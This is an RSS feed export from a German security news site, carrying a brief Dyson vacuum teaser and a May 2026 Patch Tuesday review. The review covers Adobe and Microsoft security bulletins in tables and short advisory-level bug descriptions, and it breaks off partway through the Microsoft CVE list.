<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=clean+quoted+replies+from%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 01 Aug 2026 14:03:52 +0200</lastBuildDate>
<pubDate>Sat, 01 Aug 2026 14:03:52 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=clean+quoted+replies+from%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Dyson Clean+Wash Hygiene angewischt]]></title>
<description><![CDATA[Der Name Dyson im Zusammenhang mit nassen Böden ist inzwischen kein komplett neues Thema mehr. Der V15s Detect Submarine war der erste Schritt, der Wash G1...Zum Beitrag: Dyson Clean+Wash Hygiene angewischt

Wo du uns folgen kannst:
Facebook, Reddit, Google News, X, Threads


    Auf dem Laufende...]]></description>
<link>https://tsecurity.de/de/3694675/it-nachrichten/dyson-clean-wash-hygiene-angewischt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694675/it-nachrichten/dyson-clean-wash-hygiene-angewischt/</guid>
<pubDate>Sat, 25 Jul 2026 19:36:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Name Dyson im Zusammenhang mit nassen Böden ist inzwischen kein komplett neues Thema mehr. Der V15s Detect Submarine war der erste Schritt, der Wash G1...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/dyson-cleanwash-hygiene-angewischt/">Dyson Clean+Wash Hygiene angewischt</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
